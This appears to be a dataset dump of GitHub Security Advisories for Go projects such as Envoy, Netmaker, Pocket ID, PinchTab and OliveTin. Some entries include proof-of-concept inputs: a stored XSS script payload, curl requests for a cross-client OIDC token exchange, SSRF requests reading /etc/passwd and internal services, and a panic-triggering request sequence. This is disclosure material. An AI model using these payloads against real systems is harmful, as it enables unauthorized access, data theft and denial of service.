deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3cw6-2j68-868p
Package: github.com/envoyproxy/envoy (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: = 1.37.0
Patched in: unpatched

Summary: Envoy vulnerable to crash for scoped ip address during DNS

Details:
### Summary

Calling `Utility::getAddressWithPort` with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

### Details

The crashing function is `Utility::getAddressWithPort`. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The **original src filter**: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. **DNS response address resolution**: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

### PoC

To reproduce the vulnerability:

1. **Method A (Original Src Filter):** Configure the `original src` filter in Envoy and provide a scoped IPv6 address as the original source.
2. **Method B (DNS Resolution):** Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

### Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the `original src` filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.
GitHub Security Advisory: GHSA-xv8g-fj9h-6gmv
Package: github.com/shi-gg/linkdave (GO)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 0.1.5
Patched in: 0.1.5

Summary: Linkdave Missing Authentication on REST and WebSocket endpoints

Details:
The `linkdave` server does not enforce authentication on its REST and WebSocket routes in versions prior to `0.1.5`.

### Impact

An attacker with network access to the server port can:
- Connect to the WebSocket endpoint (`/ws`) and receive a valid `session_id` in the `OpReady` response.
- Use that session to invoke all REST player controls on any guild corresponding to their session id[1].
- Enumerate server statistics and runtime information via the unauthenticated `/stats` endpoint (still public after the fix).

[1] If on [`>=0.1.0`](https://github.com/shi-gg/linkdave/releases/tag/v0.1.0), attackers are restricted to creating, controlling and deleting players created within their own session ID.

### Vulnerable Routes

The following routes were entirely unauthenticated in `>= 0.0.1, < 0.1.5`:

| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/sessions/{session_id}/players/{guild_id}/play` | Start audio playback |
| `POST` | `/sessions/{session_id}/players/{guild_id}/pause` | Pause playback |
| `POST` | `/sessions/{session_id}/players/{guild_id}/resume` | Resume playback |
| `POST` | `/sessions/{session_id}/players/{guild_id}/stop` | Stop playback |
| `POST` | `/sessions/{session_id}/players/{guild_id}/seek` | Seek to position |
| `PATCH` | `/sessions/{session_id}/players/{guild_id}/volume` | Set volume |
| `DELETE` | `/sessions/{session_id}/players/{guild_id}` | Disconnect from voice channel |
| `GET` | `/ws` | WebSocket event stream |

### Patches

Update to [`0.1.5`](https://github.com/shi-gg/linkdave/commit/0f9a00d9d549b16278db81fce6dfec350c2abc01).

```diff
- image: ghcr.io/shi-gg/linkdave:0.1.4
+ image: ghcr.io/shi-gg/linkdave:latest
```
or
```sh
docker pull ghcr.io/shi-gg/linkdave:latest
```

After upgrading, set the `LINKDAVE_PASSWORD` environment variable to a strong secret value. If this variable is left unset, the server will still accept all connections without authentication even on `>= 0.1.5`.

**Server configuration (e.g. `compose.yml`):**
```sh
environment:
    LINKDAVE_PASSWORD: ${LINKDAVE_PASSWORD}
```
```sh
echo "LINKDAVE_PASSWORD=$(openssl rand -hex 16)" >> .env
```

To restart the stack, run
```sh
docker compose up -d
```

**TypeScript client (`0.1.5+`):**

The client automatically handles authentication. Pass the password when constructing the client:
```ts
const linkdave = new LinkDaveClient({
    nodes: [
        {
            name: "main",
            url: process.env.LINKDAVE_URI,
            [CREDENTIAL_REDACTED].env.LINKDAVE_PASSWORD
        }
    ]
});
```

### Workarounds

If upgrading is not immediately possible, restrict network access to the server's port using a firewall so it is only accessible from trusted internal IP addresses.
GitHub Security Advisory: GHSA-r633-fcgp-m532
Package: github.com/gtsteffaniak/filebrowser (GO)
Severity: HIGH (CVSS 8.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.0.0[PII_REDACTED]0210-09713b32a5f6
Patched in: 0.0.0[PII_REDACTED]0210-09713b32a5f6

Summary: FileBrowser Quantum: Stored XSS in public share page via unsanitized share metadata (text/template misuse)

Details:
## Summary
Stored XSS is possible via share metadata fields (e.g., `title`, `description`) that are rendered into HTML for `/public/share/<hash>` without context-aware escaping. The server uses `text/template` instead of `html/template`, allowing injected scripts to execute when victims visit the share URL.

## Details
The server renders `public/index.html` using `text/template` and injects user-controlled share fields (title/description/etc.) into HTML contexts. `text/template` does not perform HTML contextual escaping like `html/template`. Because share metadata is persistent, the payload becomes stored and executes whenever a victim opens the affected share page.

Relevant code paths:
- `backend/http/static.go` (template rendering and share metadata assignment)
- `backend/http/httpRouter.go` (template initialization)
- `frontend/public/index.html` (insertion points for title/description and related fields)

## PoC
1. Login as a user with share creation permission.
2. Create a share (`POST /api/share`) with malicious metadata:
   - `title = </title><script>alert("xss")</script><title>`
3. Open the resulting `/public/share/<hash>` URL in a browser.
4. **Expected:** Payload is safely escaped and displayed as text.
5. **Actual:** JavaScript executes in victim's browser (stored XSS).

Tested on Docker image: `gtstef/filebrowser:stable` (version `v1.2.1-stable`).

## Impact
- Arbitrary script execution in application origin.
- Potential account/session compromise, CSRF-like action execution, data exfiltration from authenticated contexts.
- Affects anyone (including unauthenticated visitors) opening the malicious share URL.
- The XSS is stored and persistent — no social engineering beyond sharing the link is required.
GitHub Security Advisory: GHSA-6r7f-3fwq-hq74
Package: github.com/kubewarden/kubewarden-controller (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.33.0
Patched in: 1.33.0

Summary: Kubewarden: Cross-namespace data exfiltration via deprecated host callback binding

Details:
### Impact

Kubewarden is a policy engine for Kubernetes. Kubewarden cluster operators can grant permissions to users to deploy namespaced AdmissionPolicies and AdmissionPolicyGroups in their Namespaces. One of Kubewarden promises is that configured users can deploy namespaced policies in a safe manner, without privilege escalation.

An attacker with privileged "AdmissionPolicy" create permissions (which isn't the default) could make use of 3 deprecated host-callback APIs: `kubernetes/ingresses`, `kubernetes/namespaces`, `kubernetes/services`.
The attacker can craft a policy that exercises these deprecated API calls and would allow them read access to Ingresses, Namespaces, and Services resources respectively.

This attack is read-only, there is no write capability and no access to Secrets, ConfigMaps, or other resource types beyond these three. The attacker could read for example:
- Namespace names and labels.
- Services across all namespaces with ClusterIPs and ports to reveal cluster internal topology.
- Ingresses across all namespaces with hostnames and routing rules.

### Patches
The vulnerable, already deprecated host-capabilities (`kubernetes/ingresses`, `kubernetes/namespaces`, `kubernetes/services`)
have been removed.

The removed calls were not being exercised by any Kubewarden SDK.

These host-callbacks had already been superseded for a long time by `kubewarden/kubernetes/list_resources_by_namespace`, `kubewarden/kubernetes/list_resources`, and `kubewarden/kubernetes/get_resource`. They provide similar capabilities while being more fine-grained, performant, and gated through our context-aware permissions feature. These current host-capabilities are part of the Kubernetes capabilities listed in our [docs](https://docs.kubewarden.io/reference/spec/host-capabilities/kubernetes).

### Workarounds
Kubewarden operators can update the policy-server image used by their PolicyServers to tag `:v1.33.0`.
Alternatively, Kubewarden operators can temporarily reduce the permissions of users to prevent them from creating or updating existing namespaced AdmissionPolicies or AdmissionPolicyGroups.
GitHub Security Advisory: GHSA-4hgg-c4rr-6h7f
Package: github.com/gravitl/netmaker (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.5.0
Patched in: 1.5.0

Summary: Netmaker: Service User with Network Access Can Access config files with WireGuard Private Keys

Details:
A user assigned the platform-user role can retrieve WireGuard private keys of all wireguard configs in a network by calling GET /api/extclients/{network} or GET /api/nodes/{network}. While the Netmaker UI restricts visibility, the API endpoints return full records, including private keys, without filtering based on the requesting user's ownership.

> Credits
> Artem Danilov (Positive Technologies)
GitHub Security Advisory: GHSA-ch3w-9456-38v3
Package: github.com/gravitl/netmaker (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.5.0
Patched in: 1.5.0

Summary: Netmaker has Privilege Escalation from Admin to Super-Admin via User Update

Details:
The user update handler (PUT /api/users/{username}) lacks validation to prevent an admin-role user from assigning the super-admin role during account updates. While the code correctly blocks an admin from assigning the admin role to another user, it does not include an equivalent check for the super-admin role.

> Credits
> Artem Danilov (Positive Technologies)
GitHub Security Advisory: GHSA-hmqr-wjmj-376c
Package: github.com/gravitl/netmaker (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.5.0
Patched in: 1.5.0

Summary: Netmaker has Insufficient Authorization in Host Token Verification

Details:
The Authorise middleware in Netmaker incorrectly validates host JWT tokens. When a route permits host authentication (hostAllowed=true), a valid host token bypasses all subsequent authorisation checks without verifying that the host is authorised to access the specific requested resource. Any entity possessing knowledge of object identifiers (node IDs, host IDs) can craft a request with an arbitrary valid host token to access, modify, or delete resources belonging to other hosts. Affected endpoints include node info retrieval, host deletion, MQTT signal transmission, fallback host updates, and failover operations.


> Credits
> Artem Danilov (Positive Technologies)
GitHub Security Advisory: GHSA-qh6q-598w-w6m2
Package: github.com/pocket-id/pocket-id/backend (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.0.0[PII_REDACTED]3642-b59e35cb59ae
Patched in: 0.0.0[PII_REDACTED]3642-b59e35cb59ae

Summary: Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Details:
### Summary

The OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.

### Details

`backend/internal/service/oidc_service.go:407`

```go
if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}
```

`&&` should be `||`. Current behavior:

| Condition | Expected | Actual |
|-----------|----------|--------|
| Wrong client + valid code | Reject | **Accept** |
| Correct client + expired code | Reject | **Accept** |

### PoC

**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.

```bash
# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID
```

**Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud).

### Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.
GitHub Security Advisory: GHSA-9h33-g3ww-mqff
Package: github.com/pocket-id/pocket-id/backend (GO)
Severity: HIGH (CVSS 7.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 0.0.0[PII_REDACTED]0835-3a339e33191c
Patched in: 0.0.0[PII_REDACTED]0835-3a339e33191c

Summary: Pocket ID: OAuth redirect_uri validation bypass via userinfo/host confusion

Details:
### Impact
A flaw in callback URL validation allowed crafted `redirect_uri` values containing URL userinfo (`@`) to bypass legitimate callback pattern checks. If an attacker can trick a user into opening a malicious authorization link, the authorization code may be redirected to an attacker-controlled host.

### Patches
Fixed in `v2.3.1` (commit 3a339e33191c31b68bf57db907f800d9de5ffbc8).
The fix replaces delimiter-based callback matching with structured URL pattern matching and updates validation logic/tests.

### Workarounds
- Reject callback URLs containing userinfo (`@`) at reverse proxy / app policy level if feasible.
GitHub Security Advisory: GHSA-qr2g-p6q7-w82m
Package: github.com/coinbase/x402/go (GO)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 2.5.0
Patched in: 2.5.0

Summary: x402 SDK Security Advisory

Details:
### Impact

A security vulnerability exists in outdated versions of the x402 SDK.

This vulnerability does not affect users' private keys, smart contracts, or funds.

The issue impacts resource servers accepting payments on Solana when the facilitator is running a vulnerable version of the x402 SDK.

### Who Should Take Action

Facilitators that process payments on Solana must upgrade the x402 SDK to the patched versions listed below.

Clients are not required to upgrade.

Resource servers are not required to upgrade unless they operate their own facilitator (self-facilitate).

### Patches

Please update to the following package versions:
* Npm: @x402/svm >= 2.6.0
* Pypi: x402 >= 2.3.0
* Go: x402 >= 2.5.0
GitHub Security Advisory: GHSA-rw8p-c6hf-q3pg
Package: github.com/pinchtab/pinchtab/cmd/pinchtab (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.7.6
Patched in: 0.7.7

Summary: PinchTab has SSRF with Full Response Exfiltration via Download Handler

Details:
# SSRF with Full Response Exfiltration via Download Handler

### Summary
A Server-Side Request Forgery (SSRF) vulnerability in the `/download` endpoint allows any user with API access to induce the PinchTab server to make requests to arbitrary URLs, including internal network services and local system files, and exfiltrate the full response content.

### Details
The `GET /download?url=<url>` handler in [download.go](file:///Users/quan.m.le/Workspaces/pinchtab/internal/handlers/download.go#L78) accepts a user-controlled `url` parameter and passes it directly to `chromedp.Navigate(dlURL)` without any validation or sanitization.

```go
// internal/handlers/download.go:78
if err := chromedp.Run(ctx, chromedp.Navigate(dlURL)); err != nil {
    return fmt.Errorf("navigate to %s: %w", dlURL, err)
}
```

Since the request is performed by the headless Chrome browser instance managed by PinchTab, it can access:
1.  **Local Files**: Using the `file://` scheme (e.g., `file:///etc/passwd`).
2.  **Internal Services**: Accessing services bound to `localhost` or internal network IPs that are not reachable from the outside.
3.  **Cloud Metadata**: Accessing cloud provider metadata endpoints (e.g., `169.254.169.254`).

The server then returns the captured response body directly to the attacker, enabling full exfiltration of sensitive data.

### PoC
To reproduce the vulnerability, ensure the PinchTab server is running and accessible.

1.  **Local File Read**:
    Execute the following curl command to read `/etc/passwd`:
    ```bash
    curl -X GET "http://localhost:9867/download?url=file:///etc/passwd"
    ```

2.  **Internal Service Access**:
    If a service is running on `localhost:8080`, access it via:
    ```bash
    curl -X GET "http://localhost:9867/download?url=http://localhost:8080/internal-admin"
    ```

The response will contain the content of the targeted file or service.


PoC video:

https://github.com/user-attachments/assets/b15776ea-13cc-4534-ba7b-6d5c4e0ee74f

### Impact
This is a high-severity SSRF vulnerability. It impacts the confidentiality and security of the host system and the internal network where PinchTab is deployed. Attackers can exfiltrate sensitive system files, probe internal network infrastructure, and potentially gain access to internal management interfaces or cloud credentials. While PinchTab is often used in local environments, any deployment where the API is exposed (even with authentication) allows a compromised or malicious client to pivot into the internal network.
GitHub Security Advisory: GHSA-c9v3-4pv7-87pr
Package: github.com/coredns/coredns (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Vulnerable versions: < 1.14.2
Patched in: 1.14.2

Summary: CoreDNS ACL Bypass

Details:
A logical vulnerability in CoreDNS allows DNS access controls to be bypassed due to the default execution order of plugins. Security plugins such as acl are evaluated before the rewrite plugin, resulting in a Time-of-Check Time-of-Use (TOCTOU) flaw.


### Impact

In multi-tenant Kubernetes clusters, this flaw undermines DNS-based segmentation strategies.

Example scenario:
1. ACL blocks access to *.admin.svc.cluster.local
2. A rewrite rule maps public-name → admin.svc.cluster.local
3. An unprivileged pod queries public-name
4. ACL allows the request
5. Rewrite exposes the internal admin service IP

This allows unauthorized service discovery and reconnaissance of restricted internal infrastructure.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

### Workarounds

- Reorder the default plugin.cfg so that:
   - rewrite and other normalization plugins run before acl, opa, and firewall
- Ensure all access control checks are applied after name normalization.
GitHub Security Advisory: GHSA-fwhj-785h-43hh
Package: github.com/OliveTin/OliveTin (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-20: Improper Input Validation, CWE-476: NULL Pointer Dereference
Vulnerable versions: < 0.0.0[PII_REDACTED]5158-bb14c5da3e64
Patched in: 0.0.0[PII_REDACTED]5158-bb14c5da3e64

Summary: OliveTin has crash on NPE by calling APIs with invalid bindings or log references

Details:
### Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.

### Details
The issue is caused by this flow:

  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:
     - `service/internal/api/api.go:239`

  2. Executor stores a log entry before binding validation:
     - `service/internal/executor/executor.go:519`

  3. If binding is nil, execution stops, but the log entry remains:
     - `service/internal/executor/executor.go:781`

  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:
     - `service/internal/api/api.go:79`

  5. `RestartAction` has the same unsafe dereference:
     - `service/internal/api/api.go:1285`

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.


### PoC
  Environment:
  - OliveTin default single frontend on `http://localhost:1337`
  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`

  1) Create orphan tracking ID with invalid action:
  ```bash
  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
    -H 'Content-Type: application/json' \
    --data '{"actionId":"does-not-exist"}' \
    | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
  echo "$T"

  2. Trigger panic in RestartAction:

  curl -v -X POST http://localhost:1337/api/RestartAction \
    -H 'Content-Type: application/json' \
    --data "{\"executionTrackingId\":\"$T\"}"

  3. Trigger panic in KillAction:

  curl -v -X POST http://localhost:1337/api/KillAction \
    -H 'Content-Type: application/json' \
    --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

  - curl: (52) Empty reply from server

Observed server log:

  - panic serving ... runtime error: invalid memory address or nil pointer dereference
  - stack points to:
      - service/internal/api/api.go:79 (KillAction)
      - service/internal/api/api.go:1285 (RestartAction)

```
### Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.